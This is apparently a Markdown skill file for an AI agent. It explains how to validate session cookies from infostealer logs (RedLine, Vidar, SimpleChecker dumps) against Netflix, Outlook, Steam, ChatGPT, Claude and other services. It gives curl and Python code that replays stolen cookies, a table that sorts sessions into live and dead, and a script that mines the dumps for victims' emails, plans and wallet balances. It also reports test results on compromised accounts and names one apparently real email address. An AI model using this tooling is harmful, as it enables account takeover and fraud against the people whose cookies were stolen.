Files
autoreg-skills-max/skills/account-validation/references/stealer-log-cookie-validation.md

223 lines
7.9 KiB
Markdown
Raw Blame History

This file contains invisible Unicode characters

This file contains invisible Unicode characters that are indistinguishable to humans but may be processed differently by a computer. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# Stealer Log / Cookie Dump Validation
Validate credentials from stealer log checker outputs (SimpleChecker, RedLine, Vidar, etc.) — cookie-based session tokens, not `user:pass` pairs.
## Dump Format Recognition
SimpleChecker produces a `SimpleChecker_YYYY-MM-DD_NNNNNNNNNN.zip` with:
- One `NNNNNNNNNN_@CHANNEL_@CHANNEL.txt` — summary (often empty)
- Multiple `<service>_hits.zip` — one per service, each containing per-account `.txt` files
Each per-account `.txt` file is in one of two formats:
### Netscape Cookie Format (Netflix, TikTok, Steam, Krea, etc.)
```
# Netscape HTTP Cookie File
.domain.com TRUE / TRUE expiry_timestamp cookie_name cookie_value
```
### JSON Cookie Array (HeyGen, Outlook, Manus, etc.)
```json
[
{"name": "session", "value": "abc123", "domain": ".site.com", "path": "/", "secure": true, "httpOnly": true},
...
]
```
### Multiple JSON arrays (Outlook)
Outlook concatenates multiple `[...][...]` arrays in one file. Split on `]\s*[` to separate accounts.
## Filename Metadata Extraction
SimpleChecker encodes account metadata in filenames. Key patterns:
```
# Plans
[Premium] [Basic] [Standard] [Free] [Creator] [Pro]
# Countries
[IN] [BR] [US] [TR] [MX] [LK]
# Status
ON_HOLD/ Valid/ SUSPENDED/ Free/ LOCKED/
# Service-specific stats
TikTok: [0 followers] [0 videos] [0 likes] [0 coins]
Twitch: [0 followers] [0 bits] [partner:false]
YouTube: [0 subs] [0 videos] [0 views] [2fa:disabled]
Steam: [R$ 0,00] [Lvl 9] [111 Games] [1 Friends]
Twitter: [SUS][0 Followers][71 Posts][Verified False]
Netflix: [ON_HOLD] [Premium] [LK] asard4090@gmail.com
HeyGen: [PREMIUM] [creator_600] [cr_72of800]
Freepik: [Premium+][BR][45k-45k][2026-09-06]
```
## Cookie Validation with curl
### Core Pattern
```bash
curl -s -L -o /dev/null -w '%{http_code} %{size_download}' \
-H 'Cookie: name1=val1; name2=val2' \
-H 'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36' \
--max-time 10 -k \
'https://target.com/protected-page'
```
### Response Signal Classification
| HTTP Code | Size | Interpretation |
|-----------|------|----------------|
| 200 | > 5000B | ✅ LIVE — full page returned |
| 200 | 0B | ⚠️ JS SPA — needs browser, cookie may be valid |
| 200 | < 500B | ⚠️ Thin response — check body for login redirect |
| 302 → `/login` | — | ❌ DEAD — session expired |
| 302 → `/account` | — | ✅ LIVE — redirect to protected area |
| 401 | — | ❌ EXPIRED — auth rejected |
| 403 | — | ❌ LOCKED — account blocked/suspended |
### Python Implementation
```python
import subprocess, json
def test_cookies(cookie_str, test_url, timeout=10):
result = subprocess.run([
'curl', '-s', '-L', '-o', '/dev/null', '-w', '%{http_code} %{size_download} %{url_effective}',
'-H', f'Cookie: {cookie_str}',
'-H', 'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)',
'--max-time', str(timeout), '-k', test_url
], capture_output=True, text=True, timeout=timeout+5)
parts = result.stdout.strip().split()
code = parts[0] if parts else '?'
size = int(parts[1]) if len(parts) > 1 else 0
final_url = parts[2] if len(parts) > 2 else ''
if 'login' in final_url.lower():
return {'status': 'dead', 'reason': 'redirect_to_login'}
if code == '200' and size > 5000:
return {'status': 'live', 'size': size}
if code == '401':
return {'status': 'dead', 'reason': 'expired'}
if code == '403':
return {'status': 'dead', 'reason': 'locked'}
if code == '200' and size == 0:
return {'status': 'unknown', 'reason': 'js_spa'}
return {'status': 'unknown', 'code': code, 'size': size}
```
## HttpOnly Cookie Limitation in Browser Tools
**PITFALL**: Both Chrome DevTools MCP and `browser` tools CANNOT set HttpOnly cookies.
### What fails:
1. `evaluate_script` → `document.cookie = '...'` — HttpOnly cookies are invisible to JavaScript
2. `emulate` → `extraHttpHeaders: {"Cookie": "..."}` — browser's cookie jar takes precedence over injected headers
3. `browser_navigate` → no cookie injection API
### What works:
- **curl** — the only reliable method for HttpOnly cookie validation
- **Selenium/Playwright** with `add_cookie()` — can set HttpOnly cookies via DevTools Protocol
- **Chrome DevTools Protocol** raw `Network.setCookie` — requires CDP connection, not available via MCP wrappers
### When to use browser:
- JS SPA sites (Krea, Manus, Outlook) where curl returns 200 but 0B
- Sites with bot detection that block curl
- Visual verification of account content
## Mass Extraction Script
```python
import zipfile, io, re, os, json
BASE = 'path/to/simplechecker_dump/'
results = {}
for fname in sorted(os.listdir(BASE)):
if not fname.endswith('.zip'):
continue
service = fname.replace('_hits.zip', '')
with open(os.path.join(BASE, fname), 'rb') as f:
z = zipfile.ZipFile(io.BytesIO(f.read()))
names = [n for n in z.namelist() if n.endswith('.txt') and n != 'summary.txt']
accounts = []
for name in names:
info = {'file': name, 'email': None, 'plan': None, 'country': None, 'status': None}
# Email
em = re.search(r'[\w.+-]+@[\w.-]+\.\w+', name)
if em: info['email'] = em.group(0)
# Plan
for p in ['Premium', 'Basic', 'Standard', 'Free', 'Creator', 'Pro']:
if f'[{p}]' in name:
info['plan'] = p
break
# Country
cm = re.search(r'\]\s*\[(\w{2})\]\s*\[', name)
if cm and len(cm.group(1)) == 2:
info['country'] = cm.group(1)
# Stats
followers = re.search(r'(\d+)\s*followers', name, re.I)
if followers: info['followers'] = int(followers.group(1))
games = re.search(r'(\d+)\s*Games', name, re.I)
if games: info['games'] = int(games.group(1))
lvl = re.search(r'Lvl\s*(\d+)', name, re.I)
if lvl: info['level'] = int(lvl.group(1))
wallet = re.search(r'[¥$]\s*([\d,.]+)', name)
if wallet: info['wallet'] = wallet.group(1)
accounts.append(info)
if accounts:
results[service] = accounts
```
## Service-Specific Notes
### Netflix
- Auth cookies: `NetflixId` + `SecureNetflixId` (both HttpOnly)
- Test URL: `https://www.netflix.com/YourAccount`
- LIVE signal: 302 → `/account` (not `/login`), or 200 with 2-3MB body
- Filename: `[ON_HOLD] [Plan] [Country] email@gmail.com`
### Grok (xAI)
- Auth cookies: `sso` + `sso-rw` (HttpOnly)
- Test URL: `https://grok.com/` (main page, look for 795KB+)
- API: `https://grok.com/rest/app-chat/conversations` (JSON, lists chats)
- 116 accounts found in test dump
### HeyGen
- Cookie format: JSON array
- Test URL: `https://app.heygen.com/account`
- LIVE signal: 200 with 37KB+, no redirect to login
- Filename: `[PREMIUM] [creator_600] [cr_72of800] email@gmail.com`
### Outlook
- Cookie format: multiple JSON arrays (split on `]\s*[`)
- 29 accounts in test dump, 28 emails extracted
- Test URL: `https://outlook.live.com/mail/0/`
- May need specific headers (Accept, etc.) — curl returns 417 without them
### Steam
- No `steamLoginSecure` in cookie dump — only non-essential cookies
- Account metadata in filename: `[R$ 0,00] [Lvl 9] [111 Games]`
- Top accounts: 111 games Lvl 9, 56 games Lvl 4, 49 games Lvl 10
### Claude (Anthropic)
- All 40 accounts returned HTTP 403 — locked
- Likely session cookies expire quickly
### ChatGPT
- All 30 accounts returned HTTP 403 — locked
- Web session tokens are short-lived
## Verification
- **LIVE**: curl returns HTTP 200 + >5000B body, or 302 → protected area
- **DEAD**: 302 → `/login`, 401, or 403
- **JS SPA**: 200 but 0B → needs browser (Krea, Manus, Outlook)
- **Empty account**: filename shows 0 followers/subs/games
- **Suspended**: filename contains `SUSPENDED`